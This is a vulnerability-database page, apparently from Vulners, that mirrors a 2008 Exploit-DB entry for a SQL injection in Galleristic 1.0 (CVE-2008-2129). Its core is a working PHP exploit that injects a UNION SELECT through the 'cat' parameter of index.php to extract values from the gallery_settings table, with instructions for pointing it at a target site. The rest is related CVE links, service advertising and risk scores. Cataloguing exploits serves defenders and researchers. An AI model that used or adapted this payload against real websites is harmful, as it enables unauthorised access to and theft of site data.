Lucene search
+L

Galleristic 1.0 - 'cat' SQL Injection

🗓️ 07 May 2008 00:00:00Reported by cOndemnedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Galleristic 1.0 SQL Injection in index.ph

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-2129
7 May 200800:00
circl
cve
CVE
CVE-2008-2129
9 May 200818:00
cve
cvelist
Cvelist
CVE-2008-2129
9 May 200818:00
cvelist
euvd
EUVD
EUVD-2008-2126
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-2129
9 May 200818:20
nvd
prion
Prion
Sql injection
9 May 200818:20
prion
<?php

#
#   Name : Galleristic v1.0 (index.php cat) Remote SQL Injection Exploit
#   Author : cOndemned
#   Note : works only when magic_quotes_gpc = off
#   Greetz : irk4z, GregStar, ZaBeaTy, Iwan, ElusiveN, doctor, Avantura ;*
#

function exploit($target, $v) {

    $injection = "/index.php?cat='-1+union+select+value+from+gallery_settings+where+id=" . $v . "/*";
    $request = file($target . $injection);

    for($i = 0; $i < count($request); $i++) {

        preg_match('/\'(.*)\'<\/h2>/', $request[$i], $response);

        if(!empty($response[1])) {
            return $response[1] . '<br />';
        }
    }
}

#   Usage : Run in a browser as : http://[yourbox]/exploit.php?target=http://[targetbox]/[path]/
if(empty($_GET['target'])) {
    die('No target site specified!');
}
else {
    for($c = 1; $c < 3; $c++) {
        echo exploit($_GET['target'], $c);
    }
}

?>

# milw0rm.com [2008-05-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.00914
44